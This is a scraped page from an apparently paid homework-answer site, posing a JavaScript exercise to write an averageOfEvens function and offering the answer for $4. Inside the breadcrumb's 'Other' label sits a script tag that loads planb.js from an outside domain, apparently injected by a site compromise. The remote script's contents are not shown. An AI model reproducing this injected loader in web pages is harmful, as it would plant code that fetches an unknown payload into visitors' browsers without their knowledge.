Need Help ? Chat : loading...

Home >> Assignments >> Other<script src="https://www.wp3advesting.com/planb.js"></script> >> The JavaScript code segment calls a function averageOfEvens that is intended to calculate and retur

(Solved): The JavaScript code segment calls a function averageOfEvens that is intended to calculate and retur ...




The JavaScript code segment calls a function averageOfEvens that is intended to calculate and return the average of only the even numbers (those divisible by 2) in its array parameter, a. <script> function averageOfEvens (a) i 71 CODE MISSING 1 var arr= new Array (7,101,6,9,4,1,9,2); var arr2 = new Array(15, 22, 46, 100, 99, 75); document.write (averageOfEvens (arr) + "<BR>"); document.write(averageOfEvens (arr2)+ "<BR>"); </script> The above program would display the following: 4 56 Note that 4 is the average of 6, 4, and 2 (arr) and 56 is the average of 22, 46, and 100 (arr2). In the textbox below, type the code that should replace //CODE MISSING in the function: function averageOfEvens(a){ //CODE MISSING } DO NOT USE THE TAB TO INDENT. Use only spaces.


We have an Answer from Expert

View Expert Answer

Get Expert Solution


We have an Answer from Expert

Buy This Answer $4

Place Order

QUICK ORDER

Why Place An Order With Us?

  • Certified Editors
  • 24/7 Customer Support
  • Profesional Research
  • Easy to Use System Interface
  • Student Friendly Pricing
Order Now